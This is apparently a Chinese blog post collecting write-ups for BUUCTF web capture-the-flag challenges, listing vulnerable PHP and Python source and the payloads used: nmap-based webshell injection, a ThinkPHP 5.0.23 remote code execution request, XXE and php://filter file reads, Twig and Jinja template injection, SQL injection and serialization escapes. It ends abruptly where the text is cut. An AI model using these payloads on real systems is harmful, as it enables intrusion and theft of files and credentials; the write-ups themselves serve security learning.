buuctf上的其他题型的集合,懒得分类了

buuctf-z7z8

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //创建了路径
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

前面的两段代码没啥用,主要是后面处理 host的过程

1.知识储备

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$,\x0A\xFF仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及%!` 字符都会被空格代替。

namp命令

-T5 :扫描等级,越大越快,越快越不安全,最好设置为-T4
-sT :TCP connent 扫描,不太安全(留下记录信息),而且速度较慢,一般先使用-sS测试
-Pn :禁用ping
-host-timeout 2:设置扫描一台主机的时间,以毫秒为单位。
-F :快速扫描模式,只扫描在nmap-services文件中列出的端口。

漏洞点在这

echo system(“nmap -T5 -sT -Pn –host-timeout 2 -F “.$host);

这有个system来执行命令,而且有传参,肯定是利用这里了

2.构造payload

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(-OQueueDirectory=/tmp-X/var/www/html/test.php)@a.com',最终的参数就是这样被注入的。

参考

需要绕过上面的两个函数,先试试两个函数的作用

1
2
3
4
5
6
7
8
9
10
<?php
$host = " 1'shellcode ";
$host = escapeshellarg($host);
echo $host;
echo "\n";
$host = escapeshellcmd($host);
echo $host;
?>
' 1'\''shellcode '
' 1'\\''shellcode \'

构造的一句话木马为:' <?php @shellcode?> -oG hack.php '

运行结果为:' '\\''\<\?php eval\(\)\;\?\> -oG 1.php '\\'' '

这里的单引号都是成对出现的,所以没影响

payload:

1
?host=' <?php @shellcode?> -oG hack.php '

online1.png

上传文件的保存路径,利用蚁剑链接一下

参考:

https://blog.csdn.net/qq_26406447/article/details/100711933

https://blog.csdn.net/zhangxiansheng12/article/details/107216167?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase

(写的有点乱)

[BJDCTF 2nd]old-hack

打开页面出现了提示 BY THINKPHP5

这里应该是php5的漏洞利用,和攻防世界的一道题比较像传送门

先看看报错信息:1 url+?s=1

cve-1.png

php版本为5.0.23,上网搜了一下这版本的漏洞

https://xz.aliyun.com/t/3845

直接构造payload,读取目录

1
2
url
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /

看到了flag文件

读取flag

1
2
url
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag

[MRCTF2020]Ez_bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}
} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}
}

先F12找一找提示,原来就是格式化好的源码

1
if (md5($id) === md5($gg) && $id !== $gg)

直接使用数组绕过,也可以使用md5强碰撞的两字符串

1
2
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

if (!is_numeric($passwd))弱类型比较,使用1234567a绕过

payload:

1
2
3
4
5
6
7
8
?id=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&gg=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

POST:passwd=1234567a

或者
?id[]=1&gg[]=2

POST:passwd=1234567a

[安洵杯 2019]easy_web

url中包含/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,仔细看TXpVek5UTTFNbVUzTURabE5qYz0其实是base64编码,解码还是base64,继续解码为一串十六进制的字符,内容为555.png

通过555.png-->TXpVek5UTTFNbVUzTURabE5qYz0可以类型的构造出index.php查询代码

1
2
3
4
5
6
7
index.php

696e6465782e706870

Njk2ZTY0NjU3ODJlNzA2ODcw

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

web-1.png

base64解码后

image-20210108204318609

这题还对一些系统命令进行了过滤,这里需要想办法绕过

ls,不可以使用,但是dir没有过滤,可以使用dir%20/读取目录

cat被过滤了,但是可以使用ca\t绕过,ca\t%20/flag

(linux命令中可以加)

1
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

md5强碰撞的字符串

1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

直接查看目录 dir /

获取flag

1
ca\t%20/flag

web-3.png

[BJDCTF2020]Mark loves cat

变量覆盖

image-20210108204543551

poyload:

1
2
?yds=flag
POST: $flag=flag

[BJDCTF2020]The mystery of ip

进入页面不知道干啥,随便点点,到flag.php时显示了IP地址

查看原码发现提示<!-- Do you know why i know your ip? -->

猜测这里是跟XFF有关,于是修改XFF:127.0.0.1,果然页面显示的就是IP是127.0.0.1

这里就想到了XFF注入,是否可以类似于XFF注入,将系统名令注入进去

首先试试system("ls /"),但是发现没有被执行,于是家上括号{system("ls /")},这次执行成功

ip-1.png

最后获取flag, {system(cat /flag)}

[网鼎杯 2020 朱雀组]phpweb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
$a->p="cat /tmp/flagoefiu4r93";
$a->func="system";
print(urlencode(serialize($a)));

?>

[De1CTF 2019]SSRF Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

[SUCTF 2019]Pythonginx

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url") # 获取get提交的url参数
host = parse.urlparse(url).hostname #获取url中的主机名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url)) #将url分隔开 协议类型 主机名 文件路径 存入列表 parts[1]为主机名
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8')) #将主机名以.为分割 进行utf-8解码
parts[1] = '.'.join(newhost) #重新组成主机名
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname # 获取新的主机名
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

考察点1:

2019black hat一个议题

1
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。

utf-8.png

考察点2:

Nginx服务器

https://zhuanlan.zhihu.com/p/34943332,这篇文章介绍的很详细

这里只要知道nginx服务器的主要文件路径

配置文件存放目录:/etc/nginx

主配置文件:/etc/nginx/conf/nginx.conf

管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

配置文件目录为:/usr/local/nginx/conf/nginx.conf //这题要用到的路径

这里要读取的是文件,所以使用的file协议

直接够造

1
2
3
file://suctf.cc/usr/local/nginx/conf/nginx.conf
利用漏洞改为
file://suctf.c℆sr/local/nginx/conf/nginx.conf

给出flag路径

1
2
3
4
5
6
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }

构造
file://suctf.c℆sr/fffffflag

拿到flag

为了直观感受url处理过程,写了脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from urllib import parse
from urllib.parse import urlsplit, urlunsplit
url= "file://suctf.c℆sr/local/nginx/conf/nginx.conf"
host = parse.urlparse(url).hostname
#print(host)
parts = list(urlsplit(url))
print(parts)
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
print(newhost)
parts[1] = '.'.join(newhost)
print(parts)
finalUrl = urlunsplit(parts).split(' ')[0]
print(finalUrl)

结果

1
2
3
4
['file', 'suctf.c℆sr', '/local/nginx/conf/nginx.conf', '', '']
['suctf', 'cc/usr']
['file', 'suctf.cc/usr', '/local/nginx/conf/nginx.conf', '', '']
file://suctf.cc/usr/local/nginx/conf/nginx.conf

找出类似可用字符的脚本

1
2
3
4
5
6
7
8
9
10
# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass

参考:

https://blog.csdn.net/qq_42181428/article/details/99741920

[NCTF2019]Fake XML cookbook

xxe攻击

抓包显示的结果是

1
<user><username>a</username><password>aa</password></user>

是xml格式的数据,所以可能存在xxe漏洞(外部实体注入),即利用输入位置向存储的表中添加一个外部实体,让这个实体包含内部文件,造成数据泄露。

xml注入是利用闭合标签改写XML文件实现更改数据,xxe是引用外部实体来达到目的。

php引用外部实体,常见的协议

1
2
3
file://文件绝对路径 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php

这篇博客写的很清楚,传送门

直接构造payload,拿到flag

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>aa</password></user>

这里的file是外部实体

&file;

这里的&file是xml中的参数

还可以用php://filter/read=convert.base64-encode/resource=xxx.php,读取源码

直接构造

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&file;</username><password>aa</password></user>

解码后的源码,可以拿到admin和密码,但是登录也没啥东西,考察点就是xxe。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //璐﹀彿
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //瀵嗙爜
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

[GXYCTF2019]禁止套娃

.git源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

第一个if:常用的伪协议被禁了

第二个if正则匹配,?R 表示引用当前表达式,就比如引用一次:
[a-z,_]+[a-z,_]+\((?R)?\),所以一个合法的表达式可以是a(b();),括号和字符组成的

第三个if就过滤一些函数包含的字符,导致了许多函数无法使用。

1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。

2.过滤了常用的几个伪协议,不能以伪协议读取文件。

3.(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。

4.正则匹配掉了et/na/info等关键字,很多函数都用不了。

5:eval($_GET[‘exp’]);

考察点无参RCE

exp:

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

这里用到反转函数是因为,flag.php在倒数第二个位置,无法使用end()获取,反转后可以直接受用next()获取,方便很多。

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素的值。

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。要做到这一点,请使用 next()prev() 函数。

相关的方法:

  • end() - 将内部指针指向数组中的最后一个元素,并输出
  • next() - 将内部指针指向数组中的下一个元素,并输出
  • prev() - 将内部指针指向数组中的上一个元素,并输出
  • reset() - 将内部指针指向数组中的第一个元素,并输出
  • each() - 返回当前元素的键名和键值,并将内部指针向前移动

array_reverse() 函数以相反的元素顺序返回数组。

array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。

如果第二个参数指定为 true,则元素的键名保持不变,否则键名将丢失。

详情

array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。

array_flip() 函数返回一个反转后的数组,如果同一值出现了多次,则最后一个键名将作为它的值,所有其他的键名都将丢失。

如果原数组中的值的数据类型不是字符串或整数,函数将报错。

首先再hint.php中发现了提示

image-20201216083026655

于是抓包看看cookie是啥,在flag.php页面随便登录后cookie后半段的值为用户名,尝试了sql注入,命令执行,都不是,于是试试了模板注入

user=8,出现下图的样子,说明了括号中的表达式被执行了,所以确定是模板注入

image-20201216082222224

下面就是要找到读取flag的payload

在网上找到了一个将模板注入说的很详细的博客,传送门

下面需要判断这个题目是哪个类型的模板,结合下面的图片做测试

image-20201216085015609

image-20201216084914194

1
user=admin{{1*2}}*{{2*3}}

结果回显的是hellow admin2*6,正好是上面图片的第一种情况,所以就是Twig模板

找到payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20201216084621589

参考:一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n’s Blog

[SWPU2019]Web1

注册账号登录后,可以申请发布广告,在这个页面可以发现存在一个xxs,但是好像没法直接利用

image-20201216094058451

测试是否存在sql注入

在申请广告是输入标题1'111,提交正常,但是当查看广告详情的时候出现了报错页面,这也说明了存在sql注入,而且是二次注入

image-20201216094728350

0x1sql注入

查看列数,空格是被加入了黑名单,使用/**/代替空格,一直加到了22才出现回显。

1
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20201216095035895

接下来就是查询库名,直接使用常规的查询方法会发现存在waf,无法使用,猜测可能是过滤or这个关键词,导致了information也被过滤了,那就换另外一种方法

1
2
select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()

最后找到 了这个方法

1
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

image-20201216101152422

接下来就是获取列名,但是常规的方法还是不能用,应为还是存在information

那就使用一种新的查询方法,无列名查询

刚开始以为flag放在FLAG_TABLE中,但是提示不存在这个表,又试了试users表,在第三列读到了flag

image-20201216103008504

一开始以为users表的结构是两列,但是注入时会报错,说明不是两列,测试三列时就正常了,说明时三列

image-20201216103553070

查到第三列的时候看到了flag,payload如下

1
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

参考:https://www.jianshu.com/p/dc9af4ca2d06

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

第33行代码提示了phpinfo中有隐藏的东西,GET提交f=phpinfo,会在里面找到一个文件的名字d0g3_f1ag.php

那么接下来的目的就是通过一些方法读取到里面的信息。可以看到最后一行存在一个 file_get_content函数,结合题目标题,可以猜到是反序列化加文件读取的题目。

0x1代码审计

代码最后一行有一个file_get_contents是能够读取文件的函数,他这里读取的是base64解密的’img’,往前找这个’img’,可以发现如果我们有传入img_path,它会经过sha1加密,导致目标路径失效。如果我们没有传入img_path,那么后台将默认赋值为guest_img.png的base64编码。这样看来这个$userinfo['img']并不是我们可控的,此时需要把注意力转移到另外一个函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,就是数组里提到的'php','flag','php5','php4','fl1g'都会被空格替代,而这层过滤函数会干扰序列化后的数据。

0x2php反序列化字符逃逸

利用过滤函数而导致序列化结果产生新的结果,之前写过类似的文章

image-20201220213459548

这里重新构造出的序列化值为:

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

可以看到 真正的$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn'; 被抛弃掉了。这是因为我们在构造这段字符时是设计好长度的,s:2:"dd";s:1:"a";},这里的 } 与之前的 { 闭合,让反序列提前结束,从而看到反序列化的内容为

1
2
3
4
5
6
["user"]=>
string(24) "";s:8:"function";s:59:"a"
["img"]=>
string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=>
string(1) "a"

根据上面的构造方法,那么就可以将img字段的值改为phpinfo中给的文件名的base64值,从而读取其内容

构造payload

1
2
get:f=show_image
post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

image-20201220213803529

提示了flag在这个文件中,那就将上面的img字段值换成这个文件名的base64值

1
base64(/d0g3_fllllllag) = L2QwZzNfZmxsbGxsbGFn

payload:

1
get:f=show_image		post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

[BSidesCF 2020]Had a bad day

进入题目页面发现页面可以切换,并且url最后的参数也在改变,猜测可能存在文件包含

利用php://filter读取到index的源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$file = $_GET['category'];

if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

看上面的代码可以知道提交的文件必须包含 woofers,neowers,index中的一个才行

猜测flag放在flag.php中,尝试访问,看看有什么回显

1
?category=meowers/../flag

image-20201220231813354

源码中出现了之前没有的内容,说明flag.php被包含进来了,那么就想办法读取到flag.php

想到的方法肯定还是上面堆区index源码的方法

php://filter/read=convert.base64-encode/resource=flag

但是这个没法绕过if语句的判断,所以需要嵌套一个符合的flie

payload:

1
?category=php://filter/read=convert.base64-encode/woofers/resource=flag

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

可以看到给了两个路由,一个是显示主页内容,一个响应用户请求信息。

可以看到 jinja,这些都是在模板引擎中有的东西,猜测是SSTi

访问

1
/shrine/{{2*4}}

image-20201221081722030

页面显示了 2 * 4 的结果,说明就是模板引擎注入。

继续看源码,首先app.config['FLAG'] = os.environ.pop('FLAG')注册了名为FLAG的config,这个应该就是flag

但是在 safe_jinja中将config和self加入了黑名单,并且过滤了 ( ),导致我们无法直接使用{{config}}查看

不过python还有一些内置函数,比如url_for和get_flashed_messages

1
/shrine/{{url_for.__globals__}}

image-20201221082932640

current_app意思应该是当前app,那我们就当前app下的config

1
/shrine/{{url_for.__globals__['current_app'].config}}

image-20201221083018592

参考链接:

https://www.cnblogs.com/wangtanzhi/p/12238779.html

[WUSTCTF2020]朴实无华

扫描目录看到robots.txt,进去看到了 /fAke_f1agggg.php,访问并在响应头中

image-20201222223155058

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

第一关利用intval处理十六进制字符串的漏洞,当intval(‘0x1’) =0,而intval(‘0x1’+1) = 2

所以构造payload:

1
